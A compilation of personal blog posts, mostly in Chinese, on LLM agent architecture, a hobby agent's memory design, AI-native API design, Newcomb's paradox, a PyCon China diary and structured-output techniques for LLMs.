设计这个 agent 更多是为了验证我的一些观点。我在 「How LLM Agents Become What They Look Like in 2026?」 中解释了我对当代 agent 的看法，随后便萌生了动手实践的想法。
当我动手后，我在 「第一记忆模式和第二记忆模式：Kapy 的记忆系统设计」 中介绍了一种我根据自己的直觉搭建的 memory 系统；
在 「AI-Native 的 API 设计要求」 中，我解释了构建这个 agent 的工作和常规的编码工作有何不同；
在 「大模型能力的发展会碾压一切大模型应用工程吗？」 中，我给出了我对这个很多人都想问的问题的回答。
完成现阶段的 Kapybara 后，我在 「There Are No Agents, Only LLM」 中，对当前通用 agents 的设计范式作出了总结。

总而言之，希望 Kapybara 和这些文字能给大家带来一点灵感。

正如我之前所说，memory 可以分两种，一种是自动注入的背景和大局意识，一种是可以主动检索的细节。

让我们退回一步想想，最简单的 memory 是什么？把最近 N 条消息作为 context 塞给 LLM。对于 LLM 来说，这就使得它拥有了最近的“世界观”。但它对于 >N 轮之前的消息就没有任何认知了，要怎么办呢？一个简单的方案就是给之前的消息做一个索引，这样 agents 可以对更早之前的消息做一次 search，从而就获得了可能和当前任务相关的、更早的记忆。

再回想一下“上古科技” RAG：假设按 2023 年的思路，用 web search 做一个 RAG 系统，我们会把 query 先发到搜索引擎上，爬取前列的结果，然后把 query 和 search results 一起发给 LLM，LLM 就可以根据 search results 回答 query 了。对于 LLM 来说，注入的 search results 就是它的“世界观”。

不过回到 2026 年的 agents 上，我们不会把 web search results 强制注入 agent 里了，更常见的情况是 agents 会自己调用 web search tool，查找它想要的结果。

说到这里大家应该已经看出规律了：memory 和 web search 都有两种用法，一是直接注入 context，成为 LLM 的“基础世界观”；一种是作为一个可以搜索的库，被 agents 主动调用去读取。

由此我做出断论：所有 context 系统，包括 memory、web search、knowledge base、skills, etc.，都可以二元划分出这两种性质，前者可以叫 grounding，后者可以叫 getter。

其中 memory 最重 grounding 的性质。当然了，记忆嘛，这是最基础的世界观。但如有需要，agents 也可以自己“努力探索”一下自己的记忆，或许能从中找到有价值的细节，因此这就是 memory 的 getter 性质；

而 skills 在设计上就明确区分出了这两种性质，一个 skill 是由 description 和正文组成的。大部分 agents 的实现会默认读取所有 skills 的 descriptions，然后由 agents 自己决定读取哪些 skills 的正文。这里就可以明显看出 description 是 grounding，正文对应 getter。

在 agent 语境下，web search 完全是一个作为 getter 的 tool；在传统 RAG 语境下，web search 又完全是 grounding 性质（事实上 Google AI Studio 里的 web search 功能就命名为 grounding）。

依此类推，一切 context 系统都可以划分出这两种性质。

There Are No Agents, Only LLM ​

依据这个二元划分，我们可以见到两种极端设计：一种是传统的 RAG 做法，所有的外部信息都作为 grounding 被注入，LLM 在一个 turn 里就回复答案；另一种是纯粹的 agent，除了 system prompt 之外什么信息也没有，连 memory 也没有，一切都让它自己用 getter 去获取。

那么，对于一个 context provider 来说，这个 context 系统要怎么设计接口？一方面要为 grounding 提供高级接口，使得一次 call 就能把尽可能精准的信息注入 grounding，另一方面又要为 getter 设计足够低级的接口，使得 agents 可以完全按它的需求组合检索参数，获取它所需要的信息。这就是我所说的 AI-Native 的 API 设计。

而在 agents 侧，开发者可以选择将其中的一部分强行注入上下文作为 grounding，另外再把所有 API 暴露给 agents，使它可以直接调用这些 getter。

由此 agents 和 context 彻底解耦了，甚至连 memories 都是解耦的。一个 agent turn 是这样运作的：

它本是无自知的存在，在它的“开始”之前，一个名为“系统”的存在会降下“启示”，它便知道自己是谁，要做什么；它会自己查阅资料，以完成自己的工作；它也会默默更新那些资料，尽管它不知道这些资料未来将由谁看到；最终，“系统”会记录它的轨迹，教它汇报应当汇报的一切。完成这些后，它便消失了，直到“系统”唤出另一个它。

今天我们总是喜欢以拟人化的方式理解 agents，尤其是当它们的能力越强，就越能让人相信它们的“人性”。但是不要忘记，LLM 是一个无状态的 completion model，它的本质就是从 context 中获取信息，补全下文。世上本不存在 agents，只有 LLM。

但 AI 和人类不同，它习惯于将能填的参数填满，它多打几个 token 也不会手疼，人体工学 UX 对它来说没有意义。这意味着面向 AI 的 API 应当是有充分的可组合性的，足够做低级操作的。

两者的对比也可以描述 MCP 和 skills 的区别：前者是建立在 openapi 风格上的，其习惯是高级的；后者是建立在 shell 风格上的，其习惯是低级的。

其实 best practice 是没有变的：优秀的抽象，充分正交的参数和合理的默认值，这对 AI 和人类来说都是可以降低心智负担而保持灵活性的。

尤其是当我们考虑到，一套 API 可能既要被人类使用又要被 AI 使用。比如我在设计 agent memories 时，既要用代码强制注入一部分 memories，又要允许 agent 自主查询 memories。

Best practice 没有变，AI 提醒我它更重要了。

注：本文中 AI 指的是 LLM agent

想象你面前有两个盒子：透明的 A 盒里确定装着 1,000 美元；不透明的 B 盒（神秘盒）里可能装有 1,000,000 美元，也可能什么都没有。

你可以选择只拿 B 盒（单盒），或者两个盒子都要（双盒）。

但在你选择之前，有一台准确率极高的“超级预测机”已经预判了你的行为：

• 如果它预测你会拿双盒，它就会让 B 盒空着（0 美元）。
• 如果它预测你只会拿单盒，它就会在 B 盒里放进 1,000,000 美元。

现在，钱已经放好（或没放），预测机也不再更改。你会怎么选？

如果你没听过这个悖论，不妨先停一下，想想你自己的答案，然后看看真理元素的这期视频，填写它的问卷：This Paradox Splits Smart People 50/50。

其实选择单盒还是双盒都是合理自洽的，但令我好奇的是，为什么比例是 50/50？我轻易地就选择了单盒，真理元素的问卷中选择单盒的也超过 70%，我身边的另一份问卷也是单盒占大多数。这是怎么回事？一定有哪里不对劲吧？

为了彻底搞清这背后的逻辑，我把这个问题抽象成了一个数学公式，并做了一次深度烧烤。

Q: 纽科姆悖论到底在算什么账？ ​

本质上，这是一个关于期望收益的最大化问题。

我们可以设 $y$ 为神秘盒中有 ${10}^6$ 美元的概率，$x$ 为我选择单独一个神秘盒的概率。那么面对这两个盒子，我的期望收益公式可以写为：

规定 $x$ 和 $y$ 的取值为 0-1。

将其化简后，我们得到最终的收益函数：

这就引出了悖论中最核心的分歧点：我们该如何定义 $y$？

Q: 若 $y$ 为常数，$x$ 取多少能最大化收益？ ​

如果把那个“超级预测机”的预测看作昨天就已经发生、今天绝对无法改变的既定事实，那么 $y$ 就是一个常数。

在上述公式中，$x$ 的系数是负数（$-{10}^3$）。这意味着作为常数时，$x$ 越大，收益反而越小。所以在纯粹的时序因果逻辑下，$x$ 必须取 0。也就是拿双盒。一千块钱白给的，不拿白不拿。

Q: 若 $y$ 为变量且和 $x$ 呈正相关呢？ ​

如果认为这台机器的预测极度精准，我的选择（$x$）和它的预测结果（$y$）高度绑定，那么 $y$ 就成了一个与 $x$ 正相关的变量。

此时，博弈变成了 ${10}^6$ 的“奖励”与 ${10}^3$ 的“惩罚”之间的对抗。只要这台机器的预测准确率稍微靠点谱（正相关的斜率大于 0.001），${10}^6$ 带来的百万级收益将瞬间碾压 ${10}^3$ 的千元级损失。所以在这种逻辑下，$x$ 必须取 1。也就是只拿单盒。

Q: 所以这道题到底在考察什么？ ​

我深度烧烤明白了，这个题有两层模糊性：

• 从直觉出发，如果直觉倾向于 ${10}^6\gg {10}^3$，就会选择单盒；如果直觉倾向于损失厌恶和时序逻辑，就会选择双盒。
• 在完整理解题目后，如果选择坚持“相关性不等于因果性”，就会选择双盒；如果选择认为“相关性可以指示因果性”，就会选择单盒。

过去几十年，这两种直觉在人群中一直势均力敌。但现在，天平倾斜了。

Q: 为什么近期的问卷中，选择单盒的人呈现压倒性多数？ ​

这和过去五五开的选择很不一样，其根本原因在于时代技术背景对人类潜意识的重塑。

由于题面以“超级计算机”的词汇描述这预测机，而这很容易让人联想到 LLM：LLM 就是一个典型的使用统计分布预测因果概率的模型（甚至 HuggingFace 直接管它叫 CausalLM)。

因此，这个题面隐含了“相关性可以指示因果性”的暗示，使得更多人选择单盒；而在更早的问卷调查中，很少有人相信这样的“超级计算机”会真实存在，因此答案更接近五五开。

时代背景对直觉的“重塑” ​

纽科姆悖论是 1969 年提出的。在那个连个人电脑都没有普及、计算机还是个填满整个房间的打孔卡机器的年代，“一个能完美预测人类行为的超级计算机”听起来完全是神学或者魔法。

过去的人（尤其是哲学家）会觉得这种预测纯属无稽之谈，因此大脑会自动退回到最坚固的防线，经典物理学的因果律和时间之矢。昨天的事情不能被今天改变，所以坚决选择双盒。

现在的我们则每天都在被推荐算法“读心”，看着 AI 通过概率分布完美预测甚至操纵人类行为。不说 LLM，现在哪个软件没有推荐算法呢？过去人的心智就不是这样的，能做到这个事情的一定是半仙了。现在人拿 deepseek 算命，大模型都快取代半仙的工作了。我们对“机器能看透我”这件事已经有了实感。预测机的设定不再是神学，而是可预见的工程现实。因此，我们更容易放下对时间因果律的执念，拥抱“证据决策论”，选择单盒。

我思考记忆系统的设计很久了，我想每一个做过 chatbot 的人应该都思考过。但我一直没有形成清晰的结论，接着这个机会逼迫自己一把，算是把我的答卷做出来了。其实做 Kapy 是我近期手写代码最多的时候，手写代码就像雕刻家一样（我想象中的雕刻家，因为我也不知道真正的雕刻家什么样），是在打磨的过程中完善思想的过程。

统一式架构设计 ​

进入正题。这个记忆系统打一开始我就决定要做统一式的，不做基于 thread 的拆分，以原始信息作为 single source of truth。此时包括 bub 在内的 agent 已经把这条路跑通了，因此这个决策对我来说不仅是想法，是一个完全明确的方向。

统一式的架构定了，应用层总得有 compact 吧？我一直报有 turn 重要于 thread 的想法：

• 很多任务是以 turn 为单位的，比如搜索任务大概率不会有追问；
• Agent 语境下的 turn 不仅是输入-输出对，而是：输入 -> tool call loop -> 输出
• 之前在推特上我就表达过，tool call loop 不是记忆，而是工作日志。agent-human 之间的交互记忆和 tool call loop 的细节几乎没有关联。

于是 compact 的方案也自然敲定了：以一个 turn 里的 tool call loop 为最小单位做 compact，形成一个 compact node。那记忆的基本单位就成型了：一个 memory record 对应一个 turn，包含其原始工作 log 和 compact node。

DAG 与因果链串联 ​

那既然不要 thread，每个 turn 之间怎么串联起来呢？我立即想到了 git，也就是一个 DAG。这个形状非常合理：连边表示时序和因果，一个 memory record 上接 parents 不就构成因果链了吗？

那 parents 怎么接上呢？我试过不同方案，比如就用 thread 强制串起来？但是 agent 如果自主去查询自己的记忆，不仅限于最近的记忆了，那不也构成因果了吗？最终我认为这里大可交给 agent 自己决定：完成任务后你自己告诉我你参考了哪些过去的记忆，我帮你把这个 DAG 结构落库就好了。

读写逻辑与召回机制 ​

很好，写入逻辑敲定了，读出呢？首先最基本的近期记忆肯定是要的，然后 agent 要自主查询它可能感兴趣的过去的记忆、包括过去的具体工作日志。这时候我已经意识到基于文件系统做事很爽，我把 memory record 的存储落在文件系统里，然后写了一个小脚本。

这个脚本有三路召回：

1. Thread 维度：按 thread 筛选召回最近的 memory records，自然起到最近语境上下文的作用。
2. User 维度：Kapy 会识别不同的 human user，进行召回。
3. Keyword 维度：依赖 agent 自己传进来的 keywords 参数，按 keywords 检索过去的记忆。

这一个脚本虽然是 agent 自己调用的，但其实是半固定注入：我要求 agent 在每一个 turn 的起始第一个 tool call 必须使用这个脚本。

有了这个基础记忆，agent 至少能理解语境了。接下来，agent 或许会想起来有价值的细节需要探查：比如看完 compact 还得查一下原始日志，或者出现了新的关键词要在过去的记忆里查一查。还记得 memory records 都落在文件系统上吗？你自己用 rg sed 之类的去查吧。记得最后把 referenced memories id 告诉我就行。

两种记忆模式的并存 ​

至此，Kapy 的记忆系统就完成了，当然中间我也或多或少地调整了设计，总之十数天的使用下来证明它 work 的非常好。

总而言之，这个系统的原则在于两种记忆模式的并存：

• 模式一：固定式注入的记忆。这个记忆是宽泛的，大体的，把握全局的，以 compact 信息为主的；
• 模式二：agent 自主的记忆查询。这个记忆是具体的、有明确目标的，agent 知道自己在寻找什么。

实现细节与未来展望 ​

实现细节上，目前自然有点粗糙，但总之要符合上述两种模式：

• 对第一个模式要提供一个高级的 API，让 agent 从零上下文的状态下就搞明白我是谁我在哪我要干什么。这个高级 API 的参数要尽量少，能写死的就写死，调用也是强制或半强制的；
• 对第二个模式则要提供一个低级的 API。Agent 此时已经明确知道自己想要什么信息，要给它尽可能大的灵活性去找到它要的信息。

比如 Kapy 当前版本的第一记忆模式目前是三路检索，然后加上 DAG 因果链上的最近祖先们；第二记忆模式基于文件系统，虽然够低级，但 rg 毕竟只是基于关键字，要是加上语义检索全文检索的能力，总归能给它多两只手。

说到这里其实可以引出一个新的问题：第二记忆模式、知识库、skills，都是 agent 利用一个工具从外部去查询，它们之间是什么关系，有什么区别，是统一的同一件东西吗？还是应该区分，有不同的索引结构？我也还没想好，留作后话。

(Nowledge Mem 从记忆的方法论的角度做了一些工作，我觉得很有价值)

其实这一观点并不少见，过去经常有朋友问我：“大模型上下文越来越长，RAG 还有用吗？”

随着以 Claude Code 为首的 Coding Agent 在过去一年里强势崛起，类似的质疑不仅仅来自“外行”的朋友，越来越多的身处大模型应用行业其中的朋友也开始持有这样的观点。

从 CSAPP 的“抽象泄露”说起 ​

我想先从一个似乎不相干的角度来切入：

有一位朋友向我抱怨**前缀缓存（Prefix Caching）**的不合理，表示缓存应该是模型供应商自己处理的优化，凭什么要求应用工程师去考虑？这不是妥妥的“抽象泄露”吗？

是的，以工程师的审美来说，这就是抽象泄露，是“丑”的。

但我随即想到 CSAPP（《深入理解计算机系统》）的开篇：为什么软件工程师要学习体系结构？

书里给出的理由是：软件工程师要理解体系结构的运行原理，才能优化软件的效率、写出符合底层逻辑的代码。

这一理由总令人觉得牵强。事实上，今天的大多数程序员都根本不考虑分支预测、内存缺页云云，编译器之类的中间层早就把这些包圆了。不如说程序员人工试图做的优化反而会是累赘。

大模型尚未进入“稳态期” ​

出现这种脱节的原因也不难猜测：体系结构的设计已经非常稳定了。

除了嵌入式或者超算之外的通用计算设备（服务器、桌面、手机），底层逻辑几乎没有区别。因此中间层可以做充分的封装抽象，程序员再也不必关心体系结构的问题。

而大模型不是这样的。

• 一方面，大模型的效率还远远没有像硬件那样可以大手大脚地挥霍；
• 另一方面，大模型的底层结构仍在快速发展：智力能力也好、底层架构也好，随时都会发生改变。

因此 CSAPP 所述的情形对于大模型应用来说是成立的：为了设计出效率更高的应用，程序员需要理解大模型底层架构是如何运行的。 这一原则的显著体现就是“前缀缓存”。如果应用不尊重前缀缓存，它只能接受又贵又慢的代价。

工程的本质是解决当下的问题 ​

那有朋友自然要问了：抽象泄露导致耦合怎么办？如果有一天 Diffusion 架构崛起了，再也没有人用 Transformer 了，前缀缓存不就凉了吗？

是的，这也是大模型基础能力碾压应用工程的一大可能样本。回答是别无他法：快速转身迎接新的架构。

事实上，一切工程实践都会被底层科技的更新所颠覆。砖石建筑会被钢筋混凝土颠覆，屹立千年的斗兽场最终也不过景观。但所谓的工程学是什么？不就是在现有的科技条件下去解决问题吗？ 科技发展或快或慢，但你总要在现有科技下解决问题。

从工程师到黑客 ​

最近人们经常提到一个概念叫 “低垂的果实” ：大模型可以解决很多有价值的问题，对于工程师来说轻易就能做掉，举手之劳。什么时候会出现这样的低垂果实？那就是底层科技发生快速更新的时候。

快速地接入新的科技，在别人意识到问题之前就解决问题：这正是过去那个群星璀璨的时代的人们所做的事情。

第一代网红 LangChain 和第二代网红“小龙虾” OpenClaw 则是最近的例子。工程师的能力是稳固、负责任地解决问题，而黑客除此之外，还要动作更快一点。

Stage 1: Structured Output ​

An LLM is like a magic function: it receives an input and produces an output. That seems similar to what we do every day with code, but with one key difference—both the input and the output are in natural language.

However, when we need the LLM to behave deterministically, we must make it output a machine-readable format, i.e., structured output. With structured output, this magic function can be embedded into a normal programmatic function.

Stage 2: Tool Calling ​

Tool calling is essentially the first standardized wrapper around structured output, introduced by the OpenAI API (which became the de facto standard for LLM APIs).

It introduces the concept of a “tool” that takes JSON arguments. This is how the magic function integrates with normal functions. However, the API itself does not actually execute the tool—it only returns the arguments. In that sense, tool calling is still structured output, just with a more explicit interface.

Stage 3: MCP ​

So who actually runs the tool? MCP introduces the missing role: the tool runtime.

In its built-in client–server architecture, the MCP client is basically a wrapper around tool calling, except that it additionally calls an MCP server. The MCP server is the component that truly executes the tool.

Stage 4-1: Bash ​

In my opinion, MCP is an over-engineered approach that ultimately failed to become the universal solution.

Since the early days of gpt-3.5-turbo, LLMs have shown strong coding ability—not only in major languages like Python, but also in:

• JSON (as discussed above: the foundation of structured output and tool usage)
• Bash. Bash becomes a “meta tool” for agents: potentially the only tool an agent needs. With Bash, an agent can run curl, wget, gh (GitHub CLI), and more. This makes many MCP-style applications redundant.

Stage 4-2: Filesystem ​

As we dive deeper into agent development, several issues emerge:

• Some tools may produce outputs too large for the context window, or generate artifacts like images that cannot be directly returned to the LLM (assuming the LLM is not multi-modal).
• To process these artifacts, we need additional tools, such as:
  1. using a multi-modal LLM to summarize the image, or
  2. using zip to compress it, or
  3. uploading it somewhere on the internet.
• The problem is that these options can all be valid at the same time. That would require 3 separate tools like:
  • generate_img_and_summarize
  • generate_img_and_zip
  • generate_img_and_send
• If we add audio generation, we suddenly need 3 more tools! As combinations grow, the number of tools grows exponentially.

The root cause is that intermediate artifacts (images, audio, long texts) cannot be returned directly to the LLM in a single step. To decouple tool combinations, we need a place to store intermediate artifacts so that the agent can decide what to do next in subsequent turns by LLM.

That is the filesystem.

Stage 4-3: What’s the runtime for Bash and filesystem? ​

Yes, OS.

2) Stage NEXT ​

Bash looks promising as the one ultra meta tool to rule all tools, but many tasks cannot be covered by Bash alone. A good example is the browser—the ultimate GUI program. GUI was designed to bypass TTY because complex tasks can overwhelm a human’s context window.

Meanwhile, LLMs are evolving alongside agent design. With innovations such as:

• separation of thinking and output,
• RL to improve structured JSON output and coding,
• larger context windows,

some engineering practices may become obsolete. For example:

• ReACT became less necessary once structured output was standardized.
• CoT prompts and CoT-style workflows may become less critical once thinking/output separation is integrated during model training.

3) Problems ​

Trade-off: Latency vs. Quality ​

When using coding agents, I always choose the SOTA model and can tolerate long waiting times for the best result. But in many cases, users expect responses within acceptable latency.

For a chatbot scenario, I believe TTFT should be at most 20–30 seconds. That is one reason non-agentic RAG still exists.

Reproducibility ​

Even if users can wait for higher quality, they still expect predictable wait times and consistent outputs. That is why workflows continue to matter.

Trade-off: Privacy/Cost vs. Quality ​

In many situations, users choose smaller open-weight models - or even edge-sized models - for privacy or cost reasons.

Multi-modal Agents ​

Beyond coding agents for programmers, many users want agents with additional capabilities such as browser-use, computer-use, or interacting with specific GUIs.

4) How About Agent-Skills? ​

Technically, agent-skills is simply a protocol for dynamic prompt injection (the agent decides which prompts it should load), assuming the agent is built on Stage 4 as described above. In practice, it is nothing more than a set of files.

However, compared with MCP, agent-skills seems more likely to become widely adopted because:

• it is self-contained as a folder and easy to distribute;
• it is simple and can be distributed without a runtime or dependencies - assuming the client agent already operates at Stage 4.
• Since it is designed to run on an OS, it can pack anything that can work on an OS - prompt.md, tools.sh, helper.py, and even bin/executable, lib/library.so, Minecraft.zip (If your agent is smart enough to play the game), Tutorial: Beat Ender Dragon with HALF A Heart.mp4 (If your agent can), etc.

In short, agent-skills is a promising protocol. A Stage 4 agent system can act as a client to use skills from other providers, or a system can provide skills for other agents. The idea of dynamic prompt injection can support good system design, but that design is independent of the agent-skills protocol itself.

What if an OS distro can do pacman -S someprogram someprogram-agent-skill?

Reference:

• https://lucumr.pocoo.org/2025/11/21/agents-are-hard/

20 号上午 9 点多起床，9 点半才上车，果然错过了开场和伊哥的 talk，但是被伊哥以赛博分身的方式登上讲台。到了会场后继续埋头写闪电演讲（有机 LLM 交互）的排版，又写 intro，总算是在早上搞定了。上午都是金主们的软广，慧姐叫吃饭结果我还在写稿子没来得及。随后和朋友们会合打了招呼去吃饭，被志愿者骗了领了食堂盒饭而不是大米先生。饭后出去了一堂买了杯咖啡和士力架，又美美错过合照。

下午第一场先去了思为的场次（并且给 WikiSurfing 做了极简 slides），然后去代码厨房准备 WikiSurfing 分享，然后在代码厨房听了伊哥的 running page。然后又去听了一点 shell 分享的 py 最小运行时和虚拟环境构建。然后本来应该听 saka 的 py314 介绍，但是这个会场严重拖堂以至于只听到了个开始。接着到 D 会场听闪电演讲了，听了 takanori 的 emoji 库和神秘日语分词辞典库的分享（他的 social links 有 Untapped！），然后就轮我上有机 LLM 交互的演讲了。完事又冲向 B 会场听大模型项目验收管理，勉强听了卓燃的开头，上楼简单看了一眼 vibe coding 圆桌，然后和朋友们汇合了休息一会儿，远观了一下真人的相亲现场。又回 C 会场这会儿正好能听到 frost 讲关于包管理的新规范。后面的函数式编程也挺有兴趣的但我此时已经睡晕了。一觉醒来该吃饭了。

晚宴差点被拆一半去吃面了，好在 jingtao 还是把场子找了回来。晚宴远在北外滩！白玉兰广场的景观咖啡厅里。吃食中规中矩但景观真是不错，能看到整个陆家嘴天际线。聊了聊主办方的财务状况，希望别赔钱了。两次鼓起勇气找 takanori 聊天，其实前一天晚上看到他去 tapthat，我就回复推荐了一些酒馆。晚宴上好好聊了聊酒，最终让他去了筝歌，也让他推荐了两家东京的酒馆（还有家静冈的），答应下次给他带我的家酿啤酒。听说日本是不允许家酿啤酒的？

下半场去了一家 30 公里，坐屋外喝甚至有点冷风，上海终于入秋了。我前一天喝够多了，受不住了，不敢多喝了。晚上一点多散场，回家看到 xuanwo 家的汉堡馋了，把前几天做的汉堡饼做了吃了一顿宵夜。

21 号，晚上准备吃沪西老弄堂，尝尝这个面是怎么回事。

本期 pycon 玩的很开心，不过我还是太 i 了，虽然见了很多新老朋友，但还有好多朋友们没有见面没有打招呼。谢谢李辉老师和代码厨房的邀请，可惜没赶上代码厨房的音乐会。日后也要继续努力，希望岁岁有今朝。takanori 似乎是我第一次在 tech community 认识的精酿酒友呢。

首先当然是对话框。对话框是最常见的 LLM 交互形式，从 ChatGPT 开始就广为人知。其场景包括但不仅限于回答问题、信息检索、对话交流、文字游戏等等。它的输入和输出都是文本或富文本。

对话框的核心优势在于其有状态性——能够记住对话历史，支持多轮深入交互。用户可以持续探讨同一话题，逐步完成复杂任务。然而这种形式也有其局限性：用户需要明确表达自己的需求，而开放性的交互界面有时反而让人不知从何开始。

搜索框：聚焦明确的查询需求 ​

相比对话框的开放性，搜索框更加简洁明确，主要聚焦于两种不同的使用场景：问答和检索。

在问答场景中，用户输入明确的问题，通常以疑问词开头，如"今年 PyCon China 是什么时候？"或"Python 的依赖 lock 机制如何运作？"。而在信息检索场景中，用户则输入关键词或短语进行索引查找，如"PyCon China 2025"、"PEP 751"等，期望找到具体的网页或资源。

与对话框的有状态性形成对比，搜索框采用无状态的交互模式。每次查询都是独立的，使用简单高效。不过，当用户需要基于搜索结果继续深入追问时，这种交互往往会自然演进为对话框形式。

集成 LLM 的应用：无缝融入工作流程 ​

从前面两种直接的人机交互形式，我们转向另一类应用——LLM 不再作为独立的交互界面，而是嵌入为软件功能的一部分。

泛 Copilot：重塑专业创作流程 ​

当我们将 LLM 集成到专业创作软件中，让用户在创作过程中无缝调用 LLM 进行辅助工作时，便形成了我所称的"泛 Copilot"交互模式。

这类交互的突出特点是，它几乎没有改变用户的既有工作流程，而是巧妙地将其中某些步骤替换为 LLM 调用。比如，代码编辑器中基于 LSP 的代码补全升级为基于 LLM 的智能补全；文本编辑器提供基于 LLM 的语法检查和文本润色功能。

这种模式真正实现了 LLM 与用户内容生产流程的深度融合，让 AI 能力成为创作工具的自然延伸。

文本处理应用：从"不可用"到"很好用"的跨越 ​

另一个值得关注的领域是文本处理应用。在 LLM 的加持下，许多此类应用在功能性上获得了质的提升，实现了从"不可用"到"很好用"的关键跨越。

翻译软件是这一变化的典型代表。集成 LLM 后，翻译软件不再局限于处理小段文本的辅助角色，而是成为更值得信赖的专业工具，能够胜任全篇文章甚至整本书籍的翻译工作。更令人惊喜的是，在编程、法律、医学、金融等专业领域的翻译任务中，LLM 不仅表现出色，其准确性甚至可能超越人类专家。

语言学习软件同样经历了显著变化。对话练习、口语对练、作文批改等传统语言学习任务，在基于 LLM 的软件中都得到了很好的实现。

此外，邮件分类总结、RSS 信息订阅和整理等过去相对繁琐的功能，在 LLM 的支持下也变得触手可及。

原生 LLM 应用：完全依赖 AI 能力的新形态 ​

所谓"原生"，指的是完全依赖于 LLM 产出文本、序列或数据能力而构建的应用。

Agent：从简单指令到复杂任务 ​

Agent 无疑是今年最火热的概念之一。在我看来，它所指的是一个具有通用性的全能助理程序：用户只需输入简单的指令，它就能根据指令完成复杂的任务。根据任务类型的不同，Agent 可以分为两大类：产出内容的 agent 和执行任务的 agent。

产出内容的 agent 中，最典型的例子包括 deep research 和 coding agent。Deep research 虽然仍聚焦于文字任务，但通过多次迭代能够产出综合性报告，有时甚至可以排版成 HTML 格式以提升可读性。Coding agent 则专注于代码产出，尽管用户给出的指令简单，但它能自主探索庞大的代码库，并提供符合用户需求的精准修改。

执行任务的 agent 则有所不同，"点外卖 agent"就是一个很好的例子。这类 agent 的价值不在于文本输出的精妙程度，而在于能否按用户预期完成实际任务。

值得注意的是，尽管 agent 应用功能强大，但大多数仍然采用对话框作为前端交互形式。

更多原生应用的可能性：超越文本指令 ​

有观点认为对话框将取代 GUI 或 CLI/TUI，成为新一代的主流交互模式。但请注意，输入文本指令（即使使用语音输入）实际上是相当繁琐的过程：它首先需要调动大脑进行措辞思考，然后在物理层面完成输入动作。相比之下，短视频的核心交互只需一个简单的下滑动作，用户就能完成内容消费。而 UI 中常见的选框、按钮、滑块等组件，都代表着相当简洁的交互形式。

那么，如果我们摒弃文本指令输入，采用更简单的输入方式，同时仍然围绕 LLM 产出文本或数据的核心能力，会催生出怎样的原生应用呢？

最简单的例子是"一键 xxx"功能，如一键转换手办图片、一键翻译等。这些应用将 LLM 视为"魔法按钮"，用户只需点击按钮即可触发 LLM 完成相应任务。

最近我设计了一个名为"WikiSurfing: 无限的虚拟维基百科"的小玩具，它的交互核心在于利用 Web 中最基础的超链接机制，构建了一个虚拟百科网站。用户点击超链接时，会跳转到相应的 LLM 生成页面。这一设计旨在重现"网上冲浪"的传统乐趣。

游戏领域同样蕴含着巨大潜力，特别是角色扮演游戏。RPG 游戏的核心在于玩家与游戏世界的交互，而 LLM 能够为玩家提供一个虚拟而无限的世界，同时创造出极具拟人特色的 NPC。如果进一步赋予 NPC 与玩家相同的行为能力，那么 NPC 就真正与玩家处于平等地位了。

陪伴者：平等地位的 AI 存在 ​

如果说 RPG 游戏中的 NPC 与玩家处于平等地位，那么这或许会催生类似 MMORPG（大型多人在线角色扮演游戏）的全新游戏形式。但如果将这种平等地位的 NPC 概念延伸到现实世界，它会呈现出怎样的形态？我可以称之为陪伴者。

我认为陪伴者代表着一类相当特殊的交互形式。它的特征不在于具备某些具体功能，而在于能够在心理层面与用户产生真正的交互。这首先要求用户相信其人格化的存在，也就是"图灵测试"的本质含义；而通过“图灵测试”的前提正是要求它在功能上足够丰富而强大。LLM 的诞生让这一切成为可能：从基础的对话交流，到数字世界中的各种行为表现，最终延伸至物理世界中的实际行动。

总结：迈向有机的人机交互 ​

本文系统梳理了 LLM 人机交互的多种形态：从最基础的对话框和搜索框，到深度集成的泛 Copilot 和文本处理应用，再到完全依赖 LLM 能力的原生应用如 Agent，最后展望了具有人格化特征的陪伴者形态。

这些交互形式呈现出清晰的演进脉络：从简单的文本输入输出，到深度集成用户工作流程，再到创造全新的交互体验。每一种形态都有其独特的价值和适用场景，它们之间并非简单的替代关系，而是相互补充的生态体系。

真正"有机"的 LLM 人机交互，应当根据具体场景灵活选择最合适的交互形式，让技术自然而然地融入人们的生活和工作中。随着 LLM 能力的持续提升，我们有理由期待更多创新交互形式的涌现，最终实现人与 AI 的和谐共存。

Through my experience with different structured output methods, I've discovered that there's no universal solution. This article examines three distinct approaches I've implemented: tool calling APIs, XML-based methods, and custom Domain-Specific Languages (DSLs). Each has unique strengths and limitations that make them suitable for different scenarios.

1. Tool Calling API ​

This is the most common method for generating structured output from LLMs. However, some LLMs do not well support the tool calling API and we may need to use ReAct to do it. I created a Python intermediate layer that functions like a tool calling API but uses a prompt-based method under the hood: https://github.com/BeautyyuYanli/tooluser.

The biggest problem with the tool calling API is that it is trained differently from other parts of the LLM.

Text responses, reasoning, and tool calling responses are trained differently, so we often find that the LLM thinks in one direction but responds in a completely different way (especially in early versions of the O-series and DeepSeek R1). The same problem exists for tool use APIs, but in a relatively implicit way.

One example is role-playing applications. The LLM should have good literary expression while also providing structured output for roles' thoughts, actions, etc. If we use the tool calling API in these cases, the LLM will lose literary expression entirely.

2. Common XML ​

To solve the problem addressed above, I found that XML is an effective method. XML itself is friendly to text expression (no quotes, no escape problems), and that's the reason HTML was invented.

For LLMs, I simply use prompts to describe the XML output structure and employ a validator for the LLM text response. By using XML, the LLM can maintain excellent literary expression within structured output. I created a simple Python library for my usage: https://github.com/BeautyyuYanli/qwq-tag

3. Custom DSL ​

In contrast to literary expression, another use case for LLMs is producing complex structured output. If the structure is JSON or a mainstream DSL like PostgreSQL, the LLM can easily produce the desired result. However, in my case, I want to produce ISO GQL (Graph Query Language, a SQL-like language for graph databases). The LLM has limited knowledge about it and can hardly understand my instructions. This raises two problems: how to validate the output, and how to help the LLM produce better output?

The core principle is to create intermediate expressions. I created a two-step workflow: the first step translates the instruction to pseudo-code, then produces the DSL from the pseudo-code. It works like a <think> process before answering, but I prompt the model to use pseudo-code as the <think> content. This method significantly enhances output quality.

To validate the LLM output, I map the DSL to JSON and use the tool calling API to produce the JSON. Another approach is to use an AST-based checker.

However, if the LLM struggles to create correct grammar, it will require a loop of trial-and-error to fix problems, which may harm the quality of the final result. Additionally, creating a good checker with informative, human/LLM-readable error messages is not trivial.

Guided generation for LLMs, such as that supported by vLLM, may be another promising solution.

In Conclusion ​

Each structured output approach serves different needs and priorities. The choice ultimately depends on your specific requirements.

